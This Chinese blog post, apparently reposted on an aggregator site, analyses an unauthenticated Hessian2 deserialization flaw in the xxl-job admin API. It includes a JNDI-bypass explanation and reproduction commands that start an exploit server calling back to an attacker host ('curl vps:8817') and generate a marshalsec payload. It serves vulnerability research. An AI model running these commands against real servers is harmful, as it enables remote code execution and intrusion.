小风福利公众号
最新文章
热门文章
文章详情
xxl-jobapi未授权Hessian2反序列化
xxl-job api未授权Hessian2反序列化
前言
最新版有师傅已经给出POC,配置执行器,新建任务对关联服务器执行shell
命令,但是比较蛋疼的是可能关联服务在内网,无法直接从公网攻击.
链接:https://github.com/jas502n/xxl-job
测试环境
xxl-job 2.0.2
Jdk: 8u191
Linux
JobApiController#api
在version<
2.0.2版本中,JobApiController#api
中调用invokeAdminService
处理请求数据. 且设置了造成@PermessionLimit(limit=false)
访问该接口不需要鉴权
直接单步跟进com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler.invokeAdminService
=>com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler.handle
方法中,调用parseRequest
处理request
对象
继续跟进,调用readBytes
读取请求中的数据,最终是调用Hessian2
反序列化requestBytes
.
JNDI Bypass
参考:https://www.veracode.com/blog/research/exploiting-jndi-injections-java
在测试时候总需要一个比较稳定的POC,高版本JDK对JNDI注入进行限制即限制远程类加载,表现在如RMI/LDAP服务收到请求,HTTP服务无响应.
绕过的思路是:在CLASSPATH中找到工厂类,对引用的Reference属性添加危险方法或属性,该危险方法也需要在CLASSPATH中存在.
原文作者利用Apache Tomcat中的org.apache.naming.factory.BeanFactory
类,结合javax.el.ELProcessor
执行任意代码.赶巧的是xxl-job
基于Spring
框架,底层是利用tomcat
服务器.
复现
现成的JNDI Bypass利用工具已经有师傅写好,可以直接拿来用
https://github.com/welk1n/JNDI-Injection-Exploit
# 启动服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl vps:8817"
# 生成payload
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor [rmi服务] > ~/Desktop/test13.ser
上一文章:Frida及Brida学习记录
下一文章:谈谈Django的RCE
相关推荐
- 05-08记一次对Tp二开的源码审计(Php审计)
- 09-08《王者荣耀》各地玩家平均段位出炉:来看看你
- 11-04云上渗透-RDS数据库攻防
- 05-13程序员简历没有亮点怎么办?
- 10-21一个稍显诡异的逻辑漏洞
- 10-21记一次众测找源码到RCE
- 11-26装逼新境界!iPhoneX qq空间小尾巴上线
- 05-26.net反序列化之XmlSerializer
- 11-09xxl-jobapi未授权Hessian2反序列化
- 11-13华为路由器漏洞CVE-2017-17215复现分析
- 05-11sql注入攻击的原理(sql注入攻击防范)
- 10-21nRF51系列单片机读取保护绕过
- 05-24赌博站人人得而诛之
- 10-20SEO网站推广计划怎么做?如何挑选关键词?